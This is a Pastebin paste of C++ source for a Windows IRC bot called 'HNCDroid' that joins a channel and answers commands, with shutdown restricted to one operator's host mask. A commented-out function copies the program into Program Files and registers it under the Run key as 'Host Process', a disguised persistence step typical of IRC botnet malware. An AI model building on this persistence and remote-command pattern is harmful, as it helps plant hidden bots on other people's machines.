Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <winsock2.h>
- #include <cstring>
- #include <ctime>
- #include <conio.h>
- #include <windows.h>
- #include <sstream>
- #include <tchar.h>
- #define NETWORK_ERROR -1
- #define NETWORK_OK 0
- #define BOT_VERSION 1
- using namespace std;
- char buffer[1024*8];
- time_t czas;
- string kanal ="#eopolska ";
- string userpacket = "USER bot bot bot bot \r\n";
- string nickpacket = "NICK HNCDroid";
- string hostpacket = "irc.blolylo.net";
- string identifypacket = "PRIVMSG NickServ IDENTIFY loldroid \r\n";
- string joinpacket = "JOIN "+kanal+"\r\n";
- string pingpacket = "PRIVMSG "+kanal+"PONG \r\n";
- string leavepacket = "QUIT "+kanal+"\r\n";
- string hellopacket = "PRIVMSG "+kanal+"Hello! \r\n";
- string byepacket = "PRIVMSG "+kanal+"Bye! \r\n";
- string timepacket = "PRIVMSG "+kanal;
- string cmdpacket ="PRIVMSG "+kanal+"Done. \r\n";
- string pattpacket ="PRIVMSG "+kanal+"CYCKI :) \r\n";
- string pattpacket1 ="PRIVMSG "+kanal+"Nie smutaj :( \r\n";
- string pattpacket2 ="PRIVMSG "+kanal+"Hinca nie ma :3 \r\n";
- char *pch;
- WORD sockVersion;
- WSADATA wsaData;
- int nret;
- LPHOSTENT hostEntry;
- SOCKET ircsocket;
- SOCKADDR_IN serverInfo;
- string sciezka;
- string locpacket;
- int nickid;
- ostringstream ss;
- bool Connect(string hostpacket, string userpacket, string nickpacket)
- {
- srand((int)time(NULL));
- nickid=rand()%9999+1;
- ss << nickid;
- nickpacket+= ss.str();
- nickpacket+=" \r\n";
- // losowanie id nicku
- sockVersion = MAKEWORD(2,2);
- WSAStartup(sockVersion, &wsaData);
- hostEntry = gethostbyname(hostpacket.c_str());
- if(!hostEntry){
- nret = WSAGetLastError();
- cout<<"Error: %d"<<nret<<endl;
- WSACleanup();
- return NETWORK_ERROR;
- }
- ircsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if(ircsocket == INVALID_SOCKET){
- nret = WSAGetLastError();
- cout<<"Error: %d"<<nret<<endl;;
- WSACleanup();
- return NETWORK_ERROR;
- }
- serverInfo.sin_family = AF_INET;
- serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
- serverInfo.sin_port = htons(6667);
- nret = connect(ircsocket, (LPSOCKADDR)&serverInfo,
- sizeof(struct sockaddr));
- if(nret == SOCKET_ERROR){
- nret = WSAGetLastError();
- cout<<"Error: %d"<< nret<<endl;;
- WSACleanup();
- return NETWORK_ERROR;
- }
- send(ircsocket, userpacket.c_str(), strlen(userpacket.c_str()), 0);
- cout<<userpacket.c_str()<<endl;
- send(ircsocket, nickpacket.c_str(), strlen(nickpacket.c_str()), 0);
- cout<<nickpacket.c_str()<<endl;
- }
- void PING()
- {
- pch = strstr(buffer, "PING :");
- if (pch) {
- strncpy(pch, "PONG ", 6);
- for (int i = 5; i < strlen(pch); i++)
- pch[i] = pch[i+1];
- send(ircsocket, pch, strlen(pch), 0);
- cout<< pch<<endl;
- }
- }
- void Join(string joinpacket)
- {
- if(strstr(buffer, "001") != NULL)
- {
- send(ircsocket, joinpacket.c_str(), strlen(joinpacket.c_str()), 0);
- cout<<joinpacket.c_str()<<endl;
- send(ircsocket, hellopacket.c_str(),strlen(hellopacket.c_str()), 0);
- cout<<hellopacket.c_str()<<endl;
- send(ircsocket, identifypacket.c_str(), strlen(identifypacket.c_str()), 0);
- cout<<identifypacket.c_str()<<endl;
- }
- }
- /*
- void COPY()
- {
- sciezka=argv[0];
- locpacket="PRIVMSG "+kanal+sciezka+" \r\n";
- //kopiowanie pliku
- CopyFile(argv[0],"C:\\Program Files\\HNCDroid.exe",true);
- //dodanie do rejestru
- TCHAR exepath[MAX_PATH];
- GetModuleFileName(0, exepath, MAX_PATH);
- HKEY hKey;
- LONG lnRes = RegOpenKeyEx(
- HKEY_CURRENT_USER,
- "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
- 0,KEY_WRITE,
- &hKey
- );
- if( ERROR_SUCCESS == lnRes )
- {
- lnRes = RegSetValueEx(hKey,
- "Host Process",
- 0,
- REG_SZ,
- (BYTE*) exepath,
- _tcslen(exepath));
- }
- }
- */
- void Commands()
- {
- if(strstr(buffer, "!time") != NULL)
- {
- send(ircsocket, timepacket.c_str(), strlen(timepacket.c_str()), 0);
- cout<<timepacket.c_str()<<endl;
- }
- if(strstr(buffer, ":Hincu!Hincu@ajh") != NULL)
- {
- if(strstr(buffer, "!shutdown") != NULL)
- {
- send(ircsocket, byepacket.c_str(), strlen(byepacket.c_str()),0);
- cout<<byepacket.c_str()<<endl;
- send(ircsocket, leavepacket.c_str(), strlen(leavepacket.c_str()), 0);
- cout<<leavepacket.c_str()<<endl;
- }
- }
- }
- bool Close()
- {
- closesocket(ircsocket);
- WSACleanup();
- return 0;
- }
- int main(int argc, char* argv[]) {
- Connect(hostpacket,userpacket,nickpacket);
- while(true){
- time (& czas);
- timepacket+= ctime (&czas);
- timepacket+=" \n";
- memset(buffer, 0, 1024*8);
- recv(ircsocket, buffer, 1024*8, 0);
- cout<<buffer<<endl;;
- PING();
- Join(joinpacket);
- Commands();
- if ( strlen(buffer) == 0)
- break;
- else {
- }
- }
- Close();
- getch();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement